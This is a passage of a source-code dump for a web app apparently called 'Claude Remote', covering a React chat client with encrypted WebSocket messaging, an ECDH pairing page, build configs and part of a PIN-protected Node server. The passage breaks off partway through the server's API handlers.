setStreamingProjectIds(prev => { - const next = new Set(prev); - next.delete(projectId); - return next; - }); - - updateProjectState(projectId, state => { - const task = state.currentTask; - const startedAt = state.taskStartTime ? new Date(state.taskStartTime).toISOString() : undefined; - const completedAt = new Date().toISOString(); - - return { - ...state, - isStreaming: false, - currentThinking: '', - currentResponse: '', - currentActivity: [], - currentTask: '', - taskStartTime: null, - messages: (thinking || response || activity.length > 0) - ? [...state.messages, { - role: 'assistant' as const, - content: response, - task: task || undefined, - thinking: thinking || undefined, - activity: activity.length > 0 ? activity : undefined, - startedAt, - completedAt, - }] - : state.messages, - }; - }); - - thinkingRefs.current.delete(projectId); - responseRefs.current.delete(projectId); - activityRefs.current.delete(projectId); - } else if (msg.type === 'error') { - console.error('Server error:', msg.error); - setError(msg.error || 'Unknown server error'); - if (projectId) { - setStreamingProjectIds(prev => { - const next = new Set(prev); - next.delete(projectId); - return next; - }); - updateProjectState(projectId, state => ({ - ...state, - isStreaming: false, - })); - } - } else if (msg.type === 'sync_user_message' && msg.projectId) { - // Another device sent a message — add it to our chat and start streaming UI - console.log(`[sync] User message from another device for ${msg.projectId}`); - updateProjectState(msg.projectId, state => ({ - ...state, - messages: [...state.messages, { role: 'user' as const, content: msg.text || '' }], - isStreaming: true, - currentThinking: '', - currentResponse: '', - currentActivity: [], - currentTask: msg.text || '', - taskStartTime: Date.now(), - })); - setStreamingProjectIds(prev => new Set(prev).add(msg.projectId!)); - thinkingRefs.current.set(msg.projectId, ''); - responseRefs.current.set(msg.projectId, ''); - activityRefs.current.set(msg.projectId, []); - } else if (msg.type === 'sync_cancel' && msg.projectId) { - // Another device cancelled — stop streaming UI - console.log(`[sync] Cancel from another device for ${msg.projectId}`); - setStreamingProjectIds(prev => { - const next = new Set(prev); - next.delete(msg.projectId!); - return next; - }); - updateProjectState(msg.projectId, state => ({ - ...state, - isStreaming: false, - })); - } else { - console.log('Unknown message type:', msg.type, msg); - } - }; - - ws.onclose = (event) => { - console.log(`[ws] Closed: code=${event.code} reason="${event.reason || 'none'}"`); - wsRef.current = null; - - // Don't reconnect if we closed intentionally - if (intentionalCloseRef.current) { - intentionalCloseRef.current = false; - return; - } - - if (event.code !== 1000) { - // Unexpected close — try to auto-reconnect if we have a cached PIN - if (cachedPinRef.current) { - // DON'T clear streaming state — server keeps jobs running, we'll restore on reconnect - scheduleReconnectRef.current(); - } else { - // No cached PIN — must go to PIN screen - setError('Connection lost. Please re-enter PIN.'); - setView('pin'); - } - } - }; - - ws.onerror = (event) => { - // Just log — onclose will fire after this and handle reconnection - console.error('[ws] Connection error', event); - reject(new Error('WebSocket connection failed')); - }; - }); - }, [updateProjectState]); - - // Connect + authenticate in one shot (used by reconnect loop and auto-login) - const connectAndAuth = useCallback(async () => { - const pinToUse = cachedPinRef.current; - if (!pinToUse) { - console.log('[reconnect] No cached PIN, dropping to PIN screen'); - setIsReconnecting(false); - setReconnectAttempt(0); - setView('pin'); - return; - } - - // Ensure shared key is ready - if (!sharedKeyRef.current) { - try { - await restoreSharedKey(); - } catch (err) { - console.error('[reconnect] Failed to restore shared key:', err); - setIsReconnecting(false); - setError('Encryption key restore failed - please refresh'); - setView('pin'); - return; - } - } - - try { - await connectWebSocket(); - } catch { - // onclose handler will schedule next reconnect - return; - } - - // Send auth - if (wsRef.current && wsRef.current.readyState === WebSocket.OPEN && sharedKeyRef.current) { - try { - const encrypted = await encrypt( - JSON.stringify({ type: 'auth', pin: pinToUse }), - sharedKeyRef.current - ); - wsRef.current.send(JSON.stringify(encrypted)); - console.log('[reconnect] Auth sent'); - } catch (err) { - console.error('[reconnect] Failed to send auth:', err); - // Will get closed, onclose will retry - } - } - }, [connectWebSocket, restoreSharedKey]); - - // Clean up reconnect timer on unmount - useEffect(() => { - return () => { - if (reconnectTimerRef.current) clearTimeout(reconnectTimerRef.current); - }; - }, []); - - // Auto-dismiss errors after 8 seconds (unless it's a pairing/key error that needs action) - useEffect(() => { - if (!error) return; - const timer = setTimeout(() => setError(''), 8000); - return () => clearTimeout(timer); - }, [error]); - - const handlePinSubmit = async (e: React.FormEvent) => { - e.preventDefault(); - - if (!pin || pin.length < 4) { - setError('PIN must be at least 4 digits'); - return; - } - - // Cache the PIN for auto-reconnect - cachedPinRef.current = pin; - localStorage.setItem('claude-remote-pin', JSON.stringify({ pin, exp: Date.now() + 24 * 60 * 60 * 1000 })); - - setError(''); - await connectAndAuth(); - }; - - const handleSend = useCallback(async (text: string) => { - if (!activeProjectId) { - setShowProjectPicker(true); - return; - } - - if (isStreaming) return; - - if (!wsRef.current || wsRef.current.readyState !== WebSocket.OPEN) { - setError('Not connected - waiting for reconnection...'); - return; - } - - if (!sharedKeyRef.current) { - setError('Encryption key missing - please refresh the page'); - return; - } - - setError(''); - - const taskStartTime = Date.now(); - updateProjectState(activeProjectId, state => ({ - ...state, - messages: [...state.messages, { role: 'user' as const, content: text }], - isStreaming: true, - currentThinking: '', - currentResponse: '', - currentActivity: [], - currentTask: text, - taskStartTime, - })); - - setStreamingProjectIds(prev => new Set(prev).add(activeProjectId)); - - thinkingRefs.current.set(activeProjectId, ''); - responseRefs.current.set(activeProjectId, ''); - activityRefs.current.set(activeProjectId, []); - - try { - const encrypted = await encrypt( - JSON.stringify({ type: 'message', text, projectId: activeProjectId }), - sharedKeyRef.current - ); - wsRef.current.send(JSON.stringify(encrypted)); - } catch (err) { - console.error('[send] Failed:', err); - setError(`Failed to send message: ${err}`); - setStreamingProjectIds(prev => { - const next = new Set(prev); - next.delete(activeProjectId); - return next; - }); - updateProjectState(activeProjectId, state => ({ - ...state, - isStreaming: false, - })); - } - }, [activeProjectId, isStreaming, updateProjectState]); - - const handleCancel = useCallback(async () => { - if (!activeProjectId) return; - - // Optimistic UI update - setStreamingProjectIds(prev => { - const next = new Set(prev); - next.delete(activeProjectId); - return next; - }); - updateProjectState(activeProjectId, state => ({ - ...state, - isStreaming: false, - })); - - // Try WebSocket cancel - if (wsRef.current && wsRef.current.readyState === WebSocket.OPEN && sharedKeyRef.current) { - try { - const encrypted = await encrypt( - JSON.stringify({ type: 'cancel', projectId: activeProjectId }), - sharedKeyRef.current - ); - wsRef.current.send(JSON.stringify(encrypted)); - } catch (err) { - console.error('[cancel] WS cancel failed:', err); - } - } - - // Also fire HTTP cancel as fallback (fire and forget) - apiFetch(`/api/projects/${encodeURIComponent(activeProjectId)}/cancel`, { method: 'POST' }) - .catch(err => console.error('[cancel] HTTP cancel failed:', err)); - }, [activeProjectId, updateProjectState]); - - // Handle project selection from picker - const handleSelectProject = (project: Project) => { - console.log('Selected project:', project.id); - - // Add to open projects if not already open - if (!openProjects.find(p => p.id === project.id)) { - setOpenProjects(prev => [...prev, project]); - // Initialize empty state for new project - if (!projectStates.has(project.id)) { - setProjectStates(prev => { - const next = new Map(prev); - next.set(project.id, createEmptyProjectState()); - return next; - }); - } - // Fetch conversation history for this project - fetchProjectConversation(project.id); - } - - // Set as active - setActiveProjectId(project.id); - setShowProjectPicker(false); - }; - - // Handle closing a project tab - const handleCloseProject = (projectId: string) => { - setOpenProjects(prev => prev.filter(p => p.id !== projectId)); - - // If closing the active project, switch to another or null - if (activeProjectId === projectId) { - const remaining = openProjects.filter(p => p.id !== projectId); - setActiveProjectId(remaining.length > 0 ? remaining[remaining.length - 1].id : null); - } - - // Clear project state - setProjectStates(prev => { - const next = new Map(prev); - next.delete(projectId); - return next; - }); - }; - - // Reset stuck state for current project - const handleReset = () => { - setError(''); - if (activeProjectId) { - setStreamingProjectIds(prev => { - const next = new Set(prev); - next.delete(activeProjectId); - return next; - }); - updateProjectState(activeProjectId, state => ({ - ...state, - isStreaming: false, - currentThinking: '', - currentResponse: '', - currentActivity: [], - currentTask: '', - taskStartTime: null, - })); - } - console.log('State reset by user'); - }; - - if (view === 'pairing') { - return ( -
-
-

{error ? 'Error' : 'Pairing...'}

- {error ? ( - <> -

{error}

- - Go to Home - - - ) : ( -

Establishing secure connection

- )} -
-
- ); - } - - if (view === 'pin') { - return ( -
-
-

Enter PIN

- {error &&

{error}

} -
- setPin(e.target.value.replace(/\D/g, ''))} - placeholder="Enter PIN" - className="w-full p-4 text-2xl text-center bg-[var(--color-bg-secondary)] rounded-lg mb-4 focus:outline-none focus:ring-2 focus:ring-[var(--color-accent)]" - autoFocus - /> - -
-
-
- ); - } - - return ( -
- {/* Project Tabs */} - setShowProjectPicker(true)} - /> - - {/* Header */} -
-
-

- {activeProjectId - ? openProjects.find(p => p.id === activeProjectId)?.name || activeProjectId - : 'Select a project'} -

- -
-
- - -
-
- - {/* Reconnecting banner */} - {isReconnecting && ( -
- - - - - Reconnecting{reconnectAttempt > 1 ? ` (attempt ${reconnectAttempt})` : ''}... - -
- )} - - {/* Project Picker Modal */} - setShowProjectPicker(false)} - onSelect={handleSelectProject} - openProjectIds={openProjectIds} - /> - - {/* Messages */} -
- {!activeProjectId ? ( -
-
- - - -

Select a project to start chatting

- -
-
- ) : ( -
- {messages.map((msg, i) => ( -
- {msg.role === 'user' ? ( - // User message - compact bubble on the right -
-
-
-
{msg.content}
-
-
-
- ) : ( - // Assistant message - full width response card - - )} -
- ))} - - {/* Streaming response */} - {isStreaming && ( - - )} - - {messages.length === 0 && !isStreaming && ( -
-

Start a conversation with Claude in this project

-
- )} -
- )} - -
-
- - {/* Input area */} -
- {error && !isReconnecting && ( -
-
-

{error}

-
- -
- )} - -
-
- ); -} - - - -######################### -### client/src/pages/Home.tsx -import { useState, useEffect, useRef } from 'react'; -import type { PairInfo } from '../App'; -import { apiFetch } from '../lib/api'; - -interface Props { - onNavigate: (route: 'home' | 'chat' | 'pair') => void; - pairInfo?: PairInfo | null; -} - -interface DeviceInfo { - id: string; - createdAt: string; -} - -interface Status { - paired: boolean; - devices: DeviceInfo[]; - deviceCount: number; - pairingUrl: string | null; -} - -// Crypto helpers (same as Chat.tsx) -async function generateKeyPair(): Promise { - return crypto.subtle.generateKey( - { name: 'ECDH', namedCurve: 'P-256' }, - true, - ['deriveBits'] - ); -} - -async function exportPublicKey(key: CryptoKey): Promise { - const raw = await crypto.subtle.exportKey('raw', key); - return btoa(String.fromCharCode(...new Uint8Array(raw))); -} - -async function importPublicKey(base64: string): Promise { - const raw = Uint8Array.from(atob(base64), c => c.charCodeAt(0)); - return crypto.subtle.importKey( - 'raw', - raw, - { name: 'ECDH', namedCurve: 'P-256' }, - true, - [] - ); -} - -async function deriveSharedSecret(privateKey: CryptoKey, publicKey: CryptoKey): Promise { - const bits = await crypto.subtle.deriveBits( - { name: 'ECDH', public: publicKey }, - privateKey, - 256 - ); - const hash = await crypto.subtle.digest('SHA-256', bits); - return crypto.subtle.importKey('raw', hash, { name: 'AES-GCM' }, true, ['encrypt', 'decrypt']); -} - -export default function Home({ onNavigate, pairInfo }: Props) { - const [status, setStatus] = useState(null); - const [unpairing, setUnpairing] = useState(false); - const [error, setError] = useState(null); - - // Pairing state - const [pairingUrl, setPairingUrl] = useState(''); - const [isPairing, setIsPairing] = useState(false); - const [pairingLog, setPairingLog] = useState([]); - const autoPairingStarted = useRef(false); - - const addLog = (msg: string) => { - console.log(msg); - setPairingLog(prev => [...prev, msg]); - }; - - const fetchStatus = async () => { - try { - const res = await fetch('/api/status'); - if (!res.ok) throw new Error('Failed to fetch status'); - const data = await res.json(); - setStatus(data); - } catch (err) { - setError(err instanceof Error ? err.message : 'Unknown error'); - } - }; - - useEffect(() => { - fetchStatus(); - }, []); - - // Auto-pair if pairInfo is provided from URL - useEffect(() => { - if (pairInfo && !autoPairingStarted.current) { - autoPairingStarted.current = true; - doPairingWithInfo(pairInfo.serverUrl, pairInfo.token); - } - }, [pairInfo]); - - const handleUnpair = async () => { - setUnpairing(true); - try { - const res = await apiFetch('/api/unpair', { method: 'POST' }); - if (res.ok) { - localStorage.removeItem('claude-remote-paired'); - localStorage.removeItem('claude-remote-device-id'); - localStorage.removeItem('claude-remote-private-key'); - localStorage.removeItem('claude-remote-server-public-key'); - await fetchStatus(); - } - } catch { - setError('Failed to unpair'); - } finally { - setUnpairing(false); - } - }; - - // Parse pairing URL and extract server + token - // Supports both formats: - // - New: https://client/pair?server=https://server&token=TOKEN - // - Old: https://server/pair/TOKEN - const parseUrl = (url: string): { serverUrl: string; token: string } | null => { - try { - const uri = new URL(url.trim()); - const params = new URLSearchParams(uri.search); - const segments = uri.pathname.split('/').filter(Boolean); - - // New format: /pair?server=...&token=... - const serverParam = params.get('server'); - const tokenParam = params.get('token'); - if (serverParam && tokenParam) { - return { serverUrl: serverParam, token: tokenParam }; - } - - // Old format: /pair/TOKEN (server is the URL host) - if (segments.length >= 2 && segments[0] === 'pair') { - const token = segments[1]; - const serverUrl = `${uri.protocol}//${uri.host}`; - return { serverUrl, token }; - } - - return null; - } catch { - return null; - } - }; - - const doPairing = () => { - const parsed = parseUrl(pairingUrl); - if (!parsed) { - setError('Invalid URL. Expected format: https://server/pair?server=...&token=... or https://server/pair/TOKEN'); - return; - } - doPairingWithInfo(parsed.serverUrl, parsed.token); - }; - - const doPairingWithInfo = async (serverUrl: string, token: string) => { - setPairingLog([]); - setError(null); - addLog(`Server: ${serverUrl}`); - addLog(`Token: ${token}`); - - setIsPairing(true); - try { - // Step 1: Generate keypair - addLog('Generating keypair...'); - const keyPair = await generateKeyPair(); - const clientPublicKey = await exportPublicKey(keyPair.publicKey); - const privateKeyJwk = await crypto.subtle.exportKey('jwk', keyPair.privateKey); - addLog('Keypair generated'); - - // Step 2: GET server public key - addLog(`GET ${serverUrl}/pair/${token}`); - const getRes = await fetch(`${serverUrl}/pair/${token}`); - if (!getRes.ok) { - const data = await getRes.json().catch(() => ({})); - throw new Error(`Failed to get server key: ${data.error || getRes.status}`); - } - const { serverPublicKey } = await getRes.json(); - if (!serverPublicKey) { - throw new Error('Server returned empty public key'); - } - addLog('Got server public key'); - - // Step 3: POST client public key - addLog(`POST ${serverUrl}/pair/${token}`); - const postRes = await fetch(`${serverUrl}/pair/${token}`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ clientPublicKey }), - }); - if (!postRes.ok) { - const data = await postRes.json().catch(() => ({})); - throw new Error(`Failed to complete pairing: ${data.error || postRes.status}`); - } - const { deviceId } = await postRes.json(); - if (!deviceId) { - throw new Error('Server returned empty device ID'); - } - addLog(`Device ID: ${deviceId}`); - - // Step 4: Derive shared secret and store - addLog('Deriving shared secret...'); - const serverKey = await importPublicKey(serverPublicKey); - const sharedSecret = await deriveSharedSecret(keyPair.privateKey, serverKey); - const sharedSecretJwk = await crypto.subtle.exportKey('jwk', sharedSecret); - - // Store credentials - localStorage.setItem('claude-remote-paired', 'true'); - localStorage.setItem('claude-remote-device-id', deviceId); - localStorage.setItem('claude-remote-private-key', JSON.stringify(privateKeyJwk)); - localStorage.setItem('claude-remote-server-public-key', serverPublicKey); - localStorage.setItem('claude-remote-shared-secret', JSON.stringify(sharedSecretJwk)); - localStorage.setItem('claude-remote-server-url', serverUrl); - - addLog('Pairing complete!'); - - // Navigate to chat - setTimeout(() => { - onNavigate('chat'); - }, 500); - - } catch (err) { - const msg = err instanceof Error ? err.message : 'Unknown error'; - addLog(`ERROR: ${msg}`); - setError(msg); - } finally { - setIsPairing(false); - } - }; - - if (error && !pairingLog.length) { - return ( -
-
-

Error

-

{error}

-
-
- ); - } - - if (!status) { - return ( -
-
-

Loading...

-
-
- ); - } - - const hasBrowserCredentials = !!localStorage.getItem('claude-remote-paired'); - const myDeviceId = localStorage.getItem('claude-remote-device-id'); - - // This browser is paired - show chat link - if (hasBrowserCredentials && myDeviceId) { - return ( -
-
-

Claude Remote

-

Device paired and ready.

-

This device: {myDeviceId}

-

Total devices: {status.deviceCount}

-
- - -
-
-
- ); - } - - // Not paired - show pairing input - return ( -
-
-

Claude Remote

-

- Scan or paste your pairing link -

- - {error && ( -
-

{error}

-
- )} - -
- setPairingUrl(e.target.value)} - placeholder="https://server/pair/token..." - className="w-full px-4 py-3 bg-[var(--color-bg-secondary)] border border-[var(--color-border-default)] rounded-lg text-[var(--color-text-primary)] placeholder-[var(--color-text-tertiary)] focus:outline-none focus:border-[var(--color-accent)]" - /> - -
- - -
-
- - {pairingLog.length > 0 && ( -
-

Log:

-
- {pairingLog.map((log, i) => ( -

{log}

- ))} -
-
- )} -
-
- ); -} - - - -######################### -### eslint.config.mjs -import { defineConfig, globalIgnores } from "eslint/config"; -import nextVitals from "eslint-config-next/core-web-vitals"; -import nextTs from "eslint-config-next/typescript"; - -const eslintConfig = defineConfig([ - ...nextVitals, - ...nextTs, - // Override default ignores of eslint-config-next. - globalIgnores([ - // Default ignores of eslint-config-next: - ".next/**", - "out/**", - "build/**", - "next-env.d.ts", - ]), -]); - -export default eslintConfig; - - - -######################### -### index.html - - - - - - - Claude Remote - - - - - -
- - - - - - -######################### -### package.json -{ - "name": "claude-remote", - "version": "0.1.0", - "private": true, - "scripts": { - "dev": "concurrently -n server,client -c blue,green \"tsx --watch server.ts 2>&1 | tee logs/server.log\" \"vite 2>&1 | tee logs/client.log\"", - "dev:server": "tsx --watch server.ts 2>&1 | tee logs/server.log", - "dev:client": "vite 2>&1 | tee logs/client.log", - "build": "vite build", - "build:all": "pnpm build", - "start": "NODE_ENV=production tsx server.ts 2>&1 | tee logs/server.log", - "prod": "pnpm build && concurrently -n server,client -c blue,green \"NODE_ENV=production tsx server.ts\" \"vite preview --port 5173\"", - "lint": "eslint", - "logs:server": "tail -f logs/server.log", - "logs:client": "tail -f logs/client.log", - "reload": "touch server.ts" - }, - "dependencies": { - "argon2": "^0.44.0", - "dotenv": "^17.2.3", - "qrcode-terminal": "^0.12.0", - "react": "19.2.3", - "react-dom": "19.2.3", - "ws": "^8.19.0" - }, - "devDependencies": { - "@tailwindcss/vite": "^4.1.18", - "@types/node": "^20", - "@types/react": "^19", - "@types/react-dom": "^19", - "@types/ws": "^8.18.1", - "@vitejs/plugin-react": "^5.1.2", - "concurrently": "^9.2.1", - "eslint": "^9", - "tailwindcss": "^4.1.18", - "tsx": "^4.21.0", - "typescript": "^5", - "vite": "^7.3.1" - }, - "pnpm": { - "onlyBuiltDependencies": [ - "argon2", - "esbuild" - ] - } -} - - - -######################### -### pnpm-workspace.yaml -onlyBuiltDependencies: - - argon2 - - esbuild - - sharp - - unrs-resolver - - - -######################### -### public/file.svg - - - -######################### -### public/globe.svg - - - -######################### -### public/next.svg - - - -######################### -### public/vercel.svg - - - -######################### -### public/window.svg - - - -######################### -### server.ts -import { config } from 'dotenv'; -config({ path: '.env.local' }); - -import { createServer, IncomingMessage, ServerResponse } from 'http'; -import { parse } from 'url'; -import { WebSocketServer, WebSocket } from 'ws'; -import { randomBytes, timingSafeEqual } from 'crypto'; -import { readFileSync, existsSync, appendFileSync, writeFileSync } from 'fs'; -import { execSync } from 'child_process'; -import { homedir } from 'os'; -import qrcode from 'qrcode-terminal'; -import { join, resolve } from 'path'; -import { - generateKeyPair, - deriveSharedSecret, - encrypt, - decrypt, - EncryptedData, -} from './src/lib/crypto'; -import { - loadDevices, - addDevice, - removeDevice, - loadServerState, - saveServerState, - verifyPin, - hashPin, - loadConversation, - addMessage, - clearConversation, - getClaudeSessionId, - saveClaudeSessionId, - Device, - ServerState, - Message, - ToolActivity, - OutputChunk, - // Project support - validateProjectId, - listProjects, - getProject, - loadProjectConversation, - addProjectMessage, - clearProjectConversation, - getProjectSessionId, - saveProjectSessionId, -} from './src/lib/store'; -import { spawnClaude, ClaudeEvent } from './src/lib/claude'; - -// Track active Claude processes per device per project -// Key format: `${deviceId}:${projectId}` or just `${deviceId}` for legacy -const activeJobs: Map = new Map(); -// Track connected WebSockets per device -const connectedClients: Map = new Map(); -// Track which projects have already sent the "rejoined" context note this server boot -const rejoinNoteSent: Set = new Set(); - -// Rate limiting for auth attempts per IP -const AUTH_MAX_ATTEMPTS = 5; -const AUTH_WINDOW_MS = 60_000; // 1 minute -const authAttempts: Map = new Map(); - -function checkAuthRateLimit(ip: string): boolean { - const now = Date.now(); - const entry = authAttempts.get(ip); - if (!entry || now >= entry.resetAt) { - authAttempts.set(ip, { count: 1, resetAt: now + AUTH_WINDOW_MS }); - return true; - } - entry.count++; - return entry.count <= AUTH_MAX_ATTEMPTS; -} - -// Broadcast reload message to all connected clients (for dev hot reload) -function broadcastReload() { - console.log('[dev] Broadcasting reload to', connectedClients.size, 'clients'); - const devices = loadDevices(); - for (const [deviceId, ws] of connectedClients.entries()) { - if (ws.readyState === WebSocket.OPEN) { - const device = devices.find(d => d.id === deviceId); - if (device) { - const encrypted = encrypt(JSON.stringify({ type: 'reload' }), device.sharedSecret); - ws.send(JSON.stringify(encrypted)); - console.log(`[dev] Sent reload to device ${deviceId}`); - } - } - } -} - -// Broadcast an event to all connected clients except the sender -function broadcastToOthers(excludeDeviceId: string, event: object) { - for (const [connDeviceId, connWs] of connectedClients.entries()) { - if (connDeviceId === excludeDeviceId) continue; - if (connWs.readyState !== WebSocket.OPEN) continue; - const connDevice = devices.find(d => d.id === connDeviceId); - if (connDevice) { - const encrypted = encrypt(JSON.stringify(event), connDevice.sharedSecret); - connWs.send(JSON.stringify(encrypted)); - } - } -} - -// Helper to create job key -function jobKey(deviceId: string, projectId?: string): string { - return projectId ? `${deviceId}:${projectId}` : deviceId; -} - -// Events file path -const configDir = join(homedir(), '.config', 'claude-remote'); -const eventsFile = join(configDir, 'events.jsonl'); - -function appendEvent(deviceId: string, event: ClaudeEvent) { - const line = JSON.stringify({ deviceId, event, ts: Date.now() }) + '\n'; - appendFileSync(eventsFile, line); -} - -// Persist last flushed timestamp per device to disk -const lastFlushedFile = join(configDir, 'last-flushed.json'); - -function loadLastFlushedTs(): Record { - try { - if (!existsSync(lastFlushedFile)) return {}; - return JSON.parse(readFileSync(lastFlushedFile, 'utf-8')); - } catch { return {}; } -} - -function saveLastFlushedTs(deviceId: string, ts: number) { - const data = loadLastFlushedTs(); - data[deviceId] = ts; - writeFileSync(lastFlushedFile, JSON.stringify(data, null, 2)); -} - -function loadPendingEvents(deviceId: string): ClaudeEvent[] { - if (!existsSync(eventsFile)) return []; - const lines = readFileSync(eventsFile, 'utf-8').trim().split('\n').filter(Boolean); - const events: ClaudeEvent[] = []; - const lastTs = loadLastFlushedTs()[deviceId] || 0; - let maxTs = lastTs; - for (const line of lines) { - try { - const { deviceId: did, event, ts } = JSON.parse(line); - if (did === deviceId && ts > lastTs) { - events.push(event); - if (ts > maxTs) maxTs = ts; - } - } catch {} - } - if (maxTs > lastTs) saveLastFlushedTs(deviceId, maxTs); - return events; -} - -function clearPendingEvents(deviceId: string) { - if (!existsSync(eventsFile)) return; - const lines = readFileSync(eventsFile, 'utf-8').trim().split('\n').filter(Boolean); - const remaining = lines.filter(line => { - try { - const { deviceId: did } = JSON.parse(line); - return did !== deviceId; - } catch { return true; } - }); - writeFileSync(eventsFile, remaining.join('\n') + (remaining.length ? '\n' : '')); -} - -// Partial response persistence (survives crashes) -const partialResponseFile = join(configDir, 'partial-responses.json'); - -interface PartialResponse { - text: string; - thinking: string; - activity: ToolActivity[]; - updatedAt: number; -} - -function loadPartialResponses(): Record { - try { - if (!existsSync(partialResponseFile)) return {}; - return JSON.parse(readFileSync(partialResponseFile, 'utf-8')); - } catch { return {}; } -} - -// Debounced partial response saving — at most once per second -const pendingPartials: Map = new Map(); -let partialSaveTimer: ReturnType | null = null; - -function flushPartialResponses() { - if (pendingPartials.size === 0) return; - const data = loadPartialResponses(); - for (const [key, partial] of pendingPartials) { - data[key] = { ...partial, updatedAt: Date.now() }; - } - pendingPartials.clear(); - writeFileSync(partialResponseFile, JSON.stringify(data, null, 2)); -} - -function savePartialResponse(deviceId: string, text: string, thinking: string, activity: ToolActivity[] = []) { - pendingPartials.set(deviceId, { text, thinking, activity }); - if (!partialSaveTimer) { - partialSaveTimer = setTimeout(() => { - partialSaveTimer = null; - flushPartialResponses(); - }, 1000); - } -} - -function clearPartialResponse(deviceId: string) { - const data = loadPartialResponses(); - delete data[deviceId]; - writeFileSync(partialResponseFile, JSON.stringify(data, null, 2)); -} - -function recoverPartialResponses() { - // On startup, check for partial responses and save them as messages - const partials = loadPartialResponses(); - for (const [deviceId, partial] of Object.entries(partials)) { - if (partial.text || partial.thinking || partial.activity.length > 0) { - console.log(`[recovery] Found partial response for device ${deviceId}, saving...`); - addMessage({ - role: 'assistant', - content: partial.text + '\n\n[Response interrupted - server restarted]', - thinking: partial.thinking || undefined, - activity: partial.activity.length > 0 ? partial.activity : undefined, - timestamp: new Date(partial.updatedAt).toISOString(), - }); - } - } - // Clear all partials after recovery - writeFileSync(partialResponseFile, '{}'); -} - -const port = parseInt(process.env.PORT || '6767', 10); -const clientUrl = process.env.CLIENT_URL || `http://localhost:5173`; -const serverUrl = process.env.SERVER_URL || `http://localhost:${port}`; - -const PIN = process.env.CLAUDE_REMOTE_PIN; -if (!PIN) { - console.error('CLAUDE_REMOTE_PIN environment variable is required'); - process.exit(1); -} - -let pinHash: string; -let serverState: ServerState; -let devices: Device[] = []; - -function initializeServer() { - devices = loadDevices(); - const existingState = loadServerState(); - - if (existingState) { - // Always keep pairing token active for multi-device support - if (!existingState.pairingToken) { - existingState.pairingToken = randomBytes(16).toString('hex'); - } - serverState = existingState; - } else { - const keyPair = generateKeyPair(); - serverState = { - privateKey: keyPair.privateKey, - publicKey: keyPair.publicKey, - pairingToken: randomBytes(16).toString('hex'), - }; - } - saveServerState(serverState); -} - -function reloadState() { - devices = loadDevices(); - const existingState = loadServerState(); - if (existingState) { - serverState = existingState; - } -} - -// Try all devices to avoid timing side-channel leaking which device index matched -function findDeviceByDecryption(encrypted: EncryptedData): Device | null { - let matched: Device | null = null; - for (const device of devices) { - try { - decrypt(encrypted, device.sharedSecret); - matched = device; - } catch { - // Try next device - } - } - return matched; -} - -function json(res: ServerResponse, data: object, status = 200) { - res.writeHead(status, { 'Content-Type': 'application/json' }); - res.end(JSON.stringify(data)); -} - -// API authentication: compare PIN using timing-safe comparison -function checkApiAuth(req: IncomingMessage, res: ServerResponse): boolean { - const auth = req.headers['authorization']; - if (!auth || !auth.startsWith('Bearer ')) { - json(res, { error: 'Unauthorized' }, 401); - return false; - } - const providedPin = auth.slice(7); - // Use timingSafeEqual to prevent timing attacks - const pinBuf = Buffer.from(PIN!); - const providedBuf = Buffer.from(providedPin); - if (pinBuf.length !== providedBuf.length || !timingSafeEqual(pinBuf, providedBuf)) { - json(res, { error: 'Unauthorized' }, 401); - return false; - } - return true; -} - -async function handleRequest(req: IncomingMessage, res: ServerResponse) { - const { pathname } = parse(req.url || '', true); - const method = req.method || 'GET'; - - // CORS: restrict to known origins - const allowedOrigins = [clientUrl, 'https://ai.pond.audio']; - const origin = req.headers['origin']; - if (origin && allowedOrigins.includes(origin)) { - res.setHeader('Access-Control-Allow-Origin', origin); - res.setHeader('Vary', 'Origin'); - } - res.setHeader('Access-Control-Allow-Methods', 'GET, POST, DELETE, OPTIONS'); - res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization'); - - if (method === 'OPTIONS') { - res.writeHead(204); - res.end(); - return; - } - - // Auth gate: all /api/ routes require PIN auth, except /api/status (limited info without auth) - if (pathname?.startsWith('/api/') && pathname !== '/api/status') { - if (!checkApiAuth(req, res)) return; - } - - // API: Status - limited info without auth, full info with auth - if (pathname === '/api/status' && method === 'GET') { - reloadState(); - // Check if caller is authenticated (optional) - const auth = req.headers['authorization']; - const isAuthed = (() => { - if (!auth || !auth.startsWith('Bearer ')) return false; - const providedPin = auth.slice(7); - const pinBuf = Buffer.from(PIN!); - const providedBuf = Buffer.from(providedPin); - return pinBuf.length === providedBuf.length && timingSafeEqual(pinBuf, providedBuf); - })(); - - if (isAuthed) { - return json(res, { - paired: devices.length > 0, - devices: devices.map(d => ({ id: d.id, createdAt: d.createdAt })), - deviceCount: devices.length, - pairingUrl: serverState.pairingToken ? `${clientUrl}/pair?server=${encodeURIComponent(serverUrl)}&token=${serverState.pairingToken}` : null, - }); - } - - // Unauthenticated: limited info only - return json(res, { - paired: devices.length > 0, - deviceCount: devices.length, - }); - } - - // API: Generate new pairing token (invalidates previous one) - if (pathname === '/api/new-pair-token' && method === 'POST') { - reloadState(); - serverState.pairingToken = randomBytes(16).toString('hex'); - saveServerState(serverState); - const pairUrl = `${clientUrl}/pair?server=${encodeURIComponent(serverUrl)}&token=${serverState.pairingToken}`; - console.log(`> New pairing token generated`); - console.log(`> URL: ${pairUrl}`); - console.log(''); - qrcode.generate(pairUrl, { small: true }); - return json(res, { - pairingUrl: pairUrl, - token: serverState.pairingToken - }); - } - - // API: Dev reload - broadcasts reload message to all connected clients - if (pathname === '/api/dev/reload' && method === 'POST') { - broadcastReload(); - return json(res, { ok: true, clients: connectedClients.size }); - } - - // API: Dev full reload - triggers Flutter hot restart then broadcasts reload - if (pathname === '/api/dev/full-reload' && method === 'POST') { - try { - // Send SIGUSR2 to Flutter process for hot restart - const pidFile = join(process.cwd(), 'logs', 'flutter.pid'); - if (existsSync(pidFile)) { - const pid = readFileSync(pidFile, 'utf-8').trim(); - process.kill(parseInt(pid), 'SIGUSR2'); - console.log('[dev] Sent SIGUSR2 to Flutter process', pid); - } - // Wait for Flutter to rebuild, then broadcast reload - setTimeout(() => { - broadcastReload(); - }, 2000); - return json(res, { ok: true, message: 'Flutter restart triggered, reload will broadcast in 2s' }); - } catch (e) { - console.error('[dev] Full reload failed:', e); - return json(res, { ok: false, error: String(e) }, 500); - } - } - - // API: Get conversation history - if (pathname === '/api/conversation' && method === 'GET') { - const conversation = loadConversation(); - console.log('[api] Returning conversation with', conversation.messages.length, 'messages'); - return json(res, conversation); - } - - // API: Clear conversation - if (pathname === '/api/conversation' && method === 'DELETE') { - clearConversation(); - console.log('[api] 